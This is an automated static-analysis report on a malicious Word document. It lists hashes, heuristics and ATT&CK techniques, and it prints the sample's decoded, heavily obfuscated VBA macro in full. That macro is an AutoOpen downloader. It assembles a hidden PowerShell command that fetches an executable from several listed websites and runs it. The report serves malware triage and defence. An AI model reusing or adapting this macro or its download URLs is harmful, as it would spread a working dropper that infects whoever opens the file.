Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0384677ea94d4faf…

MALICIOUS

Office (OLE)

76.5 KB Created: 2017-11-08 06:01:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: cb7f08ebbe220311c6f992807a9475dc SHA-1: 662fa51d1602bf7d170a42aac3ce242a89da29c3 SHA-256: 0384677ea94d4faf5b5cb1aeac1cad4e624c19b92415169cb0fdc85150e7fa9a
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() command. This macro attempts to download a second-stage payload from the reconstructed URL 'http://www.obnovnvM+nvMakostelu.cz/HRluH/,http://www.grupodecAwEfrXm'. The presence of the Shell() call and the obfuscated download attempt strongly indicate a malicious downloader.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    UXkFiwD = (Mid(("XIlJSUdSrPdliGHARpFvzMJuJGztDGqZzWjEXhWcRjzzuAqNfIsDQAqHbdALUkPkZEnp0phPboFXpBq3"), 4, 64))
Shell$ urdUPWCWv, 0
OYDOWPCAFCt = (Mid(("WUhNTCXERWKiioBXqOBlTuvOKCHPftLikEZNnADdzLVbZOZIdXPcVssAXMWArOwEncudOokqLYnIZTowczlHijNrMZpa5LAa2qbUUWjP7ZnfFB"), 11, 82))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "SCGUiRLUF"
Sub AutoOpen()
wjiTjGTFm
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.obnovnvM+nvMakostelu In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12664 bytes
SHA-256: fce16875d42f88bf86c744ba5ce511aa1db1d21adb0004daf126652ecc75b247
Detection
ClamAV: No threats found
Obfuscation or payload: likely
214 of 317 identifiers look randomly generated (e.g. 'BqSf7V6YMVzGVjpDhHZrUiumJHTFlZOLVCJLCktt'); 7 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 15 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MtsYKuSiD"
Function urdUPWCWv()
cJhXkNS = (Mid(("c9irqKBOznEVIkiS2Kk3xt(1, 3nvM+nvM43245);Qj0hnvM+nvMunvM+nvMas = Qj0env:publinvM+nvMc +5'+'Za+5Za otknvM+nvMDhnvM+nvXj3c4fc5U"), 21, 96))
iqUToPD = (Mid(("PrhYf8OtLhu+5ZaEPLace  nvMQj0nvM,[chaR]36 -Cr5Za+'+'5ZaEPLacen'+'vMotknvM,[chaR]39)RiD&( HU2env:coMSPEc5Za+5'+'Za[4,15,25]-joinnvMnvM)5Za) -REplaCe  ([chaR]110+[chaR]118+[chaR]77),[chaR]39 ScH6kGl9w"), 12, 178))
ccLZOL = (Mid(("d2VKjkhR& ( $EnV:PuBLic[13]+$EnV:puBLic[5]+'X') ( (('&( ctVEnV:COmSPEC[4,15,25]-j'+'OIn5'+'Za5Za)(((5Za((nvMQnvM+nvMj0nv5Za+5ZaM+nvMfranc = nBc2d2Y2PIKJwj"), 9, 133))
WKLmXBw = (Mid(("1mfZKjS45Za+5Zaom;nvM+nvMQj0bcd'+' = n5Za+5ZavM+nvMotknvM+nvMhttp://www.obnovnvM+nvMakostelu.'+'nvM+nvMcz/nvM+nvMHRluH/nvM+nvM,hnvM+nvM5Za+5Zattp://wn5Za+5ZavM+nvMww.grupodec5AwEfrXm"), 9, 166))
vDblmqzrSI = (Mid(("SZ0Lt9nwmfUBFI8NWGJEotk.SpnvM+nvMlit5Za+5'+'Za(otknvM+nvM,on5Za+5ZavM+nvMtk);Qj0karapas nvM'+'+nvM5Za+5Za= Qj0nsada5Za+5Zasd.neVZu"), 21, 107))
ufVusT = (Mid(("jDFzMWwfmLGVuGJb6awpT7c12tBew-onvM+n5Za+5ZavMbjnvM+nvMenv'+'M+nv5Za+5ZaMcnvM+nvMt 5Za+5ZaSystem.Net.WebCl5Za+5ZainvM+nvMent;Qnv5Za+5Z'+'aM+nvMjnvM+nvM5Za+5Za0nsadnv5Za+5'+Yl5O"), 28, 144))
OMjlEpOQdcQ = (Mid(("oplR'ZaM+nvMasd'+' =n'+'vM+nvM nenvM+nvMw-nvM+nvMobjnvM+n5Za+5ZavMenvM+5Za+5ZanvMctnvM+nvM nvM+nvMrannvM+nvMdRzIAtXl"), 5, 105))
AXEwYKvkFc = (Mid(("9ntc3phNsMunvMrnvM+nvMIM5Za+5ZanvM+nvMd5Za+5Za/,http:/nvM+nvM5Za+5Za/wnv'+'Tw5shizujoEij7o"), 12, 64))
URclh = (Mid(("AIuiIUX2CWuknicpOpM'+'uas);InvnvM+nvMoke-Item(QjnvM+nvM'+'0huasnvM+nvM);break;}catch{wnvM+nvMrite-hostnvM+nvM Qj0_.Exception.MnvM+nv5Za+5ZaMenvM'+'+nvMssage;}}nz1iSTiRkA"), 19, 142))
rAnCRsV = (Mid(("EapSqMontnvM+nvMenvM+nvMnt/Vk5Za+5ZanvM+nvMACo'VJcc3othVHqXUnlv2iWh4"), 6, 42))
jhMDJmaU = (Mid(("Xn5Za+5ZavM+nvMbc in Qj0nvM+nvMbc'+'d){try{nvM+nvMQjn5Za+5ZavM+5Za+5ZanvM0frn'+'vM+nvM5Za+5ZaannvM+nvMc.Downloa5Za+hVSYcb774n"), 2, 114))
iRvDcq = (Mid(("M8U6natwOVwu+'EnvM+nvMvnvM+nvMKL/,h5Za+5Zattp:/nv5Za+5ZaM+nvM/namonocnvM+nvMottanvM+nvMgnvM+n'+'v3ATL2jiRM7Ojcul"), 13, 85))
wwcjrwVCFzF = (Mid(("wwjBCZz0G0VzNvMatnvM+nvMi.com/nvM+nvMw'+'p-'+'cnvM+nvVbuzk5Z30iVarNHNzGsiPEBd"), 14, 40))
nUIHAwFV = (Mid(("NwhKzwCLz02KnLfKzhTat6UwaMs5Za+5ZanvM+nvMotk + nvM+nvMQnvM+nvMj'+'n'+'vM+nvM0karapas + otk.ex'+'eotnvM+nvM'+'k;fonvM+nvMreach(Qj0aKVATS1TIiR"), 26, 105))
dcQjd = (Mid(("f2DB4ffaZJTDoXz0ozd0MesnvM+nvM.cnvM+nvMom/nvM+sVzBzW"), 21, 26))
ILAcBljjX = (Mid(("jEdidwisr2mZrRzd23tzvM)-CrEPLace n5Za+5ZavMDhsnvM5Za+5Za,[chaR]92  -Cr5ZanzcWzifU7BZ"), 21, 53))
OcQjjhrIi = (Mid(("iMQLzAFIonnvM+'+'nvMsunv'+'M+nvMmnvM5Za+5Za+nvMo5Za+5ZanvM+nYTFPXsljbkjh2uJvrcziKFXw"), 9, 52))
DiRXGfKti = (Mid(("rf0uSWlR-REplaCe([chaR]72+[chaR]85+[chaR]50),[chaR]36-REplaCe5ZaRiD5Za,[chaR]124)) ')-CReplACE'5Za',[cHar]39  -rePlaCE'ctV',[cHar]36)) 7C2WDrv"), 9, 127))
UGwBhVHHYLf = (Mid(("0M+nvMww.codern5Za+5ZavM+nvMill.nvM+nvMcom/ctadjVAnvM'+'+nvMQD/nvM+nvM,http:nvM+nvM'+'//wwnvM'+'+nvMw.janvM+nvMwnvM'+'+nvMalumbungmas.cnvM+nvMom/GGNqRqqHM/F8S79BJDqnX0d9w"), 2, 154))
kcFkZKZjEU = (Mid(("olGs8cn1RJTfLa5ZadFile(QjnvM+nvM0nvM+nvMabc.TnvM+nvMoStringnvM+nvM(nvM+nvM),5Za+5Z'+'anvM+nvM Qj0hnvM+nvQDEpvIZzbUYY5oco8dwfJ"), 15, 90))
urdUPWCWv = PSZqRXBiK + tUiGWjjSn + Chr(34) + ccLZOL + ufVusT + OMjlEpOQdcQ + WKLmXBw + OcQjjhrIi + wwcjrwVCFzF + rAnCRsV + iRvDcq + dcQjd + AXEwYKvkFc + UGwBhVHHYLf + vDblmqzrSI + cJhXkNS + nUIHAwFV + jhMDJmaU + kcFkZKZjEU + URclh + ILAcBljjX + iqUToPD + DiRXGfKti
End Function

Attribute VB_Name = "SCGUiRLUF"
Sub AutoOpen()
wjiTjGTFm
End Sub
Function tUiGWjjSn()
QBXGYlIAw = (Mid(("SGmAZP%FuGc9qKH9utw7rwihp7RnFU1HNC4j"), 3, 5))
YRKSu = (Mid(("asYNtd&&setkbpGPtwM6i64fabVKd3CZwVOaVGI1hXDo"), 3, 9))
PBsPE = (Mid(("W9MnmM0MAH3PpdM=JYzvhqvAC6MwOK"), 16, 6))
RoMiRwDw = (Mid(("H7C0NW9 l7if"), 8, 1))
YLbkqjjfo = (Mid(("AUXvhLwhzdIXUp&&setdnHbRa9RRaZq7GpDuudmD1wCKARl"), 11, 9))
omNot = (Mid(("zv8D!%urdUPWJbBPBZmfkJq"), 5, 8))
XiiqzshB = (Mid(("nTTGM&&set %alYmQzZUjVfLCk1ijFzVtwUDulrRE"), 2, 13))
nviUowzXEVI = (Mid(("89uplHqsTHlXdSVij%aDobsBhzq6mX"), 18, 1))
RmiAhnnZR = (Mid(("Nqz0SJIL%=lIvirBSlwSDbUtvGnwzq4KlHU"), 7, 9))
DMLKthFdo = (Mid(("4tZpWj5zWo5JwjF2kbM8Aw8qSZFcVbnChA7Uzrnj"), 4, 1))
PAYYr = (Mid(("htNiVPWq3odZ6siTsUOfuwHXakN1RrGa7msS"), 17, 1))
QHrdGiGSmvi = (Mid(("cmsborz%=RBAK4hXtlj1wAs5smTV9UqQw0c2L811Y1Ycf03"), 2, 9))
uVsDGInZFU = (Mid(("f %ViCpIsv3zAR9945LH"), 2, 8))
dTjCiLkJdEk = (Mid(("rQC7k %wjiTjGTFwKMclV4Gw7wQGowYvY"), 6, 10))
ObCLHPpOruc = (Mid(("pset %CMbrk3NwjHUkqp6"), 2, 10))
uiJamrAqo = (Mid(("iCCWv%!  uDvRiu0X9m"), 3, 7))
aPBUq = (Mid(("HlukOiq8dYPJnSKEobIGEmId%RFEji6LEs5b"), 16, 10))
SmAiWMrZz = (Mid(("fUwQ7CiDJilJb"), 9, 1))
ntzqWDaakL = (Mid(("pDrQG4zQJV9DIOzi7zwki9qzCWBuLPCdnohwzmnp"), 29, 5))
ffMQZa = (Mid(("2LL31aiwa&&!%alttinA8Trz4VGM"), 7, 10))
LsQXNnI = (Mid(("Hrh1BjrKMjWzGjEaH8zoEtciv8mWXhvCLWBF5niE"), 22, 4))
jWCsR = (Mid(("h6nG6B8Rbsl^l&&setUN2wG"), 11, 8))
PDfflj = (Mid(("nTdMZPYHz5Jhdc&set %Ezwiklffwz7L"), 15, 14))
NcjRfrPRU = (Mid(("2S3riVGLlUWm%=w^ipthXzmFzD"), 12, 5))
fYKJSI = (Mid(("QnvkKTqUqkjczcMwwz1zW8m"), 5, 6))
ZCEqDhbIrGb = (Mid(("0wUsid3uvZvZ5qRA%wIBNqJznOSRsL2Ea"), 17, 14))
ZskFuMrZ = (Mid(("T1QAYCccivXtW%!4n3lvF1Yaur"), 8, 8))
TXTlKc = (Mid(("ChD7UR3hnvSiTjGTFm%!kV"), 12, 9))
znPuiCG = (Mid(("uo6AZ&&set PCQfqASVj9usNpnahNtV"), 6, 6))
iAiLAv = (Mid(("w3Q0qH9rEszb1jj4X1aRTuh=jzRzMjzcmVTzs6JUpTqkE2q"), 24, 13))
YclvD = (Mid(("EriUOzi348z1Z!%wj0XRi1ib"), 14, 4))
ShIqKPj = (Mid(("TLurdUPWCWv%=he1GiCti03kuCRjsz0GuhJ"), 3, 13))
wSGnzz = (Mid(("j2Evw2zPmZwCawF"), 7, 3))
BmwAzDoIAH = (Mid(("zD9LFuukjzjEn5WJTzTer^supYvk6DiB2N"), 20, 4))
OiruVCF = (Mid(("HDdlzXtW%=p^o&YunVZD6XbAJztindi6tXUCC5Mrcnz2U5X"), 6, 9))
tUiGWjjSn = ObCLHPpOruc + DMLKthFdo + aPBUq + PBsPE + YLbkqjjfo + dTjCiLkJdEk + NcjRfrPRU + BmwAzDoIAH + znPuiCG + ZCEqDhbIrGb + RmiAhnnZR + XiiqzshB + LsQXNnI + OiruVCF + PDfflj + PAYYr + QHrdGiGSmvi + fYKJSI + wSGnzz + SmAiWMrZz + YRKSu + RoMiRwDw + nviUowzXEVI + ShIqKPj + jWCsR + uVsDGInZFU + ntzqWDaakL + QBXGYlIAw + iAiLAv + ffMQZa + ZskFuMrZ + YclvD + TXTlKc + omNot + uiJamrAqo
End Function

Attribute VB_Name = "fwkSmOOcZ"
Function PSZqRXBiK()
QBXGYlIAw = (Mid(("wi hIsfTaCcUbmLdJLsBQlbXupMVFkod"), 3, 1))
YRKSu = (Mid(("REcmdUzbAzKJwnNSvWMCplKCMSLZBcfFhSdoBB"), 3, 3))
PBsPE = (Mid(("wbbjQOTwwHZaQaT nhPubjzuh"), 16, 1))
RoMiRwDw = (Mid(("zsjoOHN  /OQIi"), 8, 3))
YLbkqjjfo = (Mid(("UbZYIppNvkomOBXmwXjATzaDwaKCNlzphkLnjPzO"), 11, 2))
omNot = (Mid(("OINu zZOpOIiBVlM"), 5, 1))
XiiqzshB = (Mid(("v   jitmtBvlmUvEuMLbTlvTWChrUNo"), 2, 3))
nviUowzXEVI = (Mid(("YVbBsDQJjKdqifKLv %cQLcNafTOOXpv"), 18, 3))
RmiAhnnZR = (Mid(("iiBLKXvJScLECcJthXqVZpQJfYb"), 7, 1))
DMLKthFdo = (Mid(("ivV /XtocTjsNuzjAKaOBioDMGCbzzNdSzUEUfvRz"), 4, 2))
PAYYr = (Mid(("ZHXABVAYIjkatwsHwmJzrClHVRrppmmjQvHYZ"), 17, 2))
QHrdGiGSmvi = (Mid(("j  IXpAiAvrOjjPXAwqVbjTiElkBWfRtzstSRWoF"), 2, 2))
uVsDGInZFU = (Mid(("H  DnWiwSVEaSp"), 2, 2))
dTjCiLkJdEk = (Mid(("MpSorc% mpVavZtPCwTiujTbww"), 6, 3))
ObCLHPpOruc = (Mid(("t OXVNOfirKG"), 2, 1))
uiJamrAqo = (Mid(("ruiciPhNYiTZcL"), 3, 2))
aPBUq = (Mid(("SZQdCMMYnSdZljJc ddiGjrsZwEq"), 16, 2))
SmAiWMrZz = (Mid(("NBqtUvMLsVHPc"), 9, 1))
ntzqWDaakL = (Mid(("zJUiMqCsFPQrRpCMQFrLIwIZSkMbpeuNnBuOw"), 29, 2))
ffMQZa = (Mid(("mPIkcX &mwBNfzvzqPKj"), 7, 2))
LsQXNnI = (Mid(("phaJiqJajjQAAnYRVaXwt  vtuUtqkWQLbZndW"), 22, 2))
PSZqRXBiK = YRKSu + QBXGYlIAw + PAYYr + uiJamrAqo + ffMQZa + nviUowzXEVI + YLbkqjjfo + SmAiWMrZz + ntzqWDaakL + dTjCiLkJdEk + LsQXNnI + RoMiRwDw + RmiAhnnZR + uVsDGInZFU + XiiqzshB + ObCLHPpOruc + DMLKthFdo + aPBUq + PBsPE + omNot + QHrdGiGSmvi
End Function

Attribute VB_Name = "btFimYHJZ"
Function wjiTjGTFm()
OYDOWPCAFCt = (Mid(("WUhNTCXERWsDNtSXBiwzbszwXGRovRVAivhfwJWCKJASchETrcCXnWMwNROucHsNprUSLmZrItpRrhVqCwzSPwNMiiShucaCRmclNmHEDKPtjuGfvYsdJZwrdHjcTrzfSmAEEkcPqtPEjTfocnmWjwtrolIF5LAa2qbUUWjP7ZnfFB"), 11, 146))
bJmiHJzNfj = (Mid(("v2VMXiMVdFjzJjHfuuKnDqGbcSWuATiWPCJsLMQbqJraKTqRbbWYRjUTWtjFMRVKbKhHaOThijwtzjRJbEdlwfMsjUf0b7ljwN"), 3, 80))
NwCUoK = (Mid(("zzz3CmwGcnfVBNVMibrZdvWKSsjzIYqiwZBviFNqRCjkLMEWmMRkpTJhEqMDGvWEwwXbLaicOBIbMlwFnJKvGFtiPUrotKkVfinPpcKMioWnLiVSrGPwlbzrDsMriujDRmvhzjPLwzRSjFThwYzmvnkEhwMzQSikFSWYnoUHqEwnJfHzYftKwwIiCqzAXSz5V8"), 9, 182))
krpswvXATfC = (Mid(("3u5sUbzcsAdVzFwiWWWPrzAanoWfqVUwaAiQTSrkARsIlvGZPOilYfoGqJcwdRmXjfvzXfKEilOZGsprhwQbriZuLcaJqvHifVbGAJCjDaGnRPzzUkOjBLjzFBluFANjdfukRirYujXQcmcvccpGjbhTpiBzXHdDMXJmVOjmsqmUnPVTYpB8f3czOOpvz0oXzh8q8PH0jHY"), 7, 172))
ODzEwn = (Mid(("0rDrAr8B2017nknPJtIJbuAjFbwVtJQTcXMMJEsAsluaMbaHJdhudwdIiDGlmGAkkHiYPaGFBIRqAaUdBoLPcWqitEiFwGNlkJpEsBriWbtUjnHDickwulIOREfLsBHuujFrkQkzrSRfj6z6owJ"), 15, 122))
zkoGXRwY = (Mid(("HDAzdKGzszibPGGtjilWZjSGNswzGjuCNnFvPvAcwWHvJrjiMGKtDnlXihDDLIqLDbOcBLildIZCZWzVMQlzVAzZChNhszRnjvshdDhBcZQuOizMkiruXqpCboaTwwtjql17HTzO7DIvQY9T"), 7, 124))
wjSjL = (Mid(("BQZJjvqQDikLMjbuuBaKvctKVFDcKuzrdIEHSUlPV5K7nlqcHG6"), 9, 14))
LCzObUZwEHM = (Mid(("BqSf7V6YMVzGVjpDhHZrUiumJHTFlZOLVCJLCkttiEIjzSOMMAmMzNwCWkjGlMXnHnkSXiBwNfMQVKnqsHsknCMHFGoRBnIShVcLivpiwqwTBjhLzsOiTmAFbcMQpkuaXuiAicIwRKmwDsGZZdUIYdwvVXjFjYsOvYwGzjdVkRMJzDBjWnrMQmBtwnfLuMi7kfECERLV9A8A"), 9, 180))
vSvWaXwz = (Mid(("wwp165RZSvESZzGEihpWRdKPYohzAlirMHotijbUqcZdHzwMVFwZksCDTUYFRjRXsNFRIZvn4s80C7zjt0qoRJiIwQlwm"), 12, 58))
SojjqowsisO = (Mid(("ctQqXGD6ap3iaJvujTjMQivuKDpvqowuCoOYlZTnJJsVwoTkXSb4XBiA9bYwNzDldLDmfkBuj"), 16, 34))
jDUXdI = (Mid(("Itzzak4sTqhAUwsKI0vWidPrIijXwkELTjBzJGWQpFpFpdNDjjjDcMTiUqiMnTtSXdHjzzjaUVhZnKCfVjrQAAiGQScTXKc80WLW6btwh8qb1"), 20, 76))
nHMOZotkMup = (Mid(("rw3ScLHCCwavmhsAmDUDFcqaOwDNqoMfaJhaipBrFUHnvTtEApzRTLQqiPEjIuMNluUdzSSzCcwkUCfuCwNApuMOtrsSlUjKHuBAwQFiXCPrNfVfkJdJhLXriGkIZzMhsndaAivmsiQZc6ciE"), 4, 135))
UXkFiwD = (Mid(("XIlJSUdSrPdliGHARpFvzMJuJGztDGqZzWjEXhWcRjzzuAqNfIsDQAqHbdALUkPkZEnp0phPboFXpBq3"), 4, 64))
Shell$ urdUPWCWv, 0
OYDOWPCAFCt = (Mid(("WUhNTCXERWKiioBXqOBlTuvOKCHPftLikEZNnADdzLVbZOZIdXPcVssAXMWArOwEncudOokqLYnIZTowczlHijNrMZpa5LAa2qbUUWjP7ZnfFB"), 11, 82))
bJmiHJzNfj = (Mid(("v2UwnSvnamiwiiTdUniDfkRFLpMnZpiJiEjKjsQzVFGVPRTqQYniVctakOmwGINlEUNazJubWlhaiwptVVdlwfMsjUf0b7ljwN"), 3, 80))
NwCUoK = (Mid(("zzz3CmwGGAktAtaRqocZQZIztjnAwavpNQZtzAKlmVPDBWKhuNBRfrwjKfGTdrwjFufkUhTqdrnvKEzWYGGlZdKWUpiRtrHuZizGraMMtKonDBYFhkvXlKHbkIPizBzmjsWcHrfzttsOpWTSRcjJvkIObWViKiNrNBDKfwwqEwdrStlOpzMWSoqzjIAkVwz5V8"), 9, 182))
krpswvXATfC = (Mid(("3u5sUbwchPRXhIwPkKhYwPRuzSEkupaXPPVEOcmzOMvWpTCvmPcBzMiwZmqsJLhrptHSmrBHYiJmUvEiPIwfNYYDjXfbmuqCiDhvLkIvNVdRCwiiiLcANCiQVDlPLaUirGHQNJSiACRsvB8f3czOOpvz0oXzh8q8PH0jHY"), 7, 135))
ODzEwn = (Mid(("0rDrAr8B2017nkLSLRszvhKrsYjttSMSzNDYoobaiOhPaPXzmnFdpnLMDfwAqRKIKcOHEmiWqRShzuQcBmHGNjdLBqVJqbkNEYFzBQszJinXUiMIOWzDKEubzCFNRUjPhFcboTaktHwfvFrXdMvTbjCzddzwrSRfj6z6owJ"), 15, 142))
zkoGXRwY = (Mid(("HDAzdKXOjQkGFulZGsPiTJBAzdbUXbATOYmrLIXfjLrwUYSZzZniXbzzNOdsMDrEQRshHuOwVjBIRDjZLC17HTzO7DIvQY9T"), 7, 76))
wjSjL = (Mid(("BQZJjvqQipjVzKnZuLWoSOEwXzCGfavkErUvWowlaMwkjaVVSJECOnPfacJirkwDtwRHqrDFMkOGPTMzchnVVtVRbpUtfQuqQvqnINibGwqdYJPHPMGJwahAazjAXJawqYtKVFDcKuzrdIEHSUlPV5K7nlqcHG6"), 9, 122))
LCzObUZwEHM = (Mid(("BqSf7V6YdrvULhiivnChvOzalnDXrGuukqXErYlYQibQFzZwIbILOQMPkMrMIRoWzBjVKamXCdRMnjUoNHPPwjjUiIUfjYQwtETEOEmipkIlzzcDrDwACZYNUPqBFGrdMSSiMPZJUhZNauUffQocZPvUfGuMi7kfECERLV9A8A"), 9, 146))
vSvWaXwz = (Mid(("wwp165RZSvEXBBEoFKGZUGSqNsVQvEttGdMHjvTwoZtclkLjAfHQrjaVDuUiIfupccQXoZvn4s80C7zjt0qoRJiIwQlwm"), 12, 58))
SojjqowsisO = (Mid(("ctQqXGD6ap3iaJvdCljMRozTwtpnYQwEjaEXaXscqZEOCRpzJMSb4XBiA9bYwNzDldLDmfkBuj"), 16, 35))
jDUXdI = (Mid(("Itzzak4sTqhAUwsKI0vmKjAAoSInVitEzGRvikHtNWrZZKDbXvOVH80WLW6btwh8qb1"), 20, 34))
nHMOZotkMup = (Mid(("rw3JmEwIfqQZc6ciE"), 4, 7))
UXkFiwD = (Mid(("XIlwEKrJlvMpFcjmPPwdBWDrDpakoIiDAIUnuEbwYiwfIOosCWQiszauUzsPkGUdQJowIsrLoAETYYjpAiiRrzLBiaTzMLMSNUOzZskJfEqsuHVvOCOCYDlQznOiYuzcnmFDJjQIwYmnJTGbEYiJzKuKjwBliClkFNEIBSlimGEzQwHihmdzLpfp0phPboFXpBq3"), 4, 180))
vJuMvD = (Mid(("woH3obCjzNkcitfYjjuqbmkDj9Drh6aT"), 8, 14))
sTiSsbfzHm = (Mid(("2bhJhilCjLnGuMTKQPwDVruqNHGiUzvdcvdFnUFHYAnVGjVEpdUAmkvnSDiLZHvKTKdzjOWwKqiUEYjdlBsqfvqrApnjmthQFcCvGWVbGYpvFajuTEaYPEfYUlztbnJRJOPbWnf8"), 11, 124))
towNB = (Mid(("AH7tzEtqUdZoOCMPXCssRaNiSJktpNpMJhiDwXtnzTuipYrHjKKziGOaJfImFiAHnMijYJTzJEswfjouSdKiCsiCTDtQPHhVSnrdtKiarLodOQvaqNUcUVEuhcNVPCjCWXfrsLBHujnrDAoDISaCmFAzjwvQwNLocmGqkDifMMhkhNrhoKNrw7V"), 8, 172))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.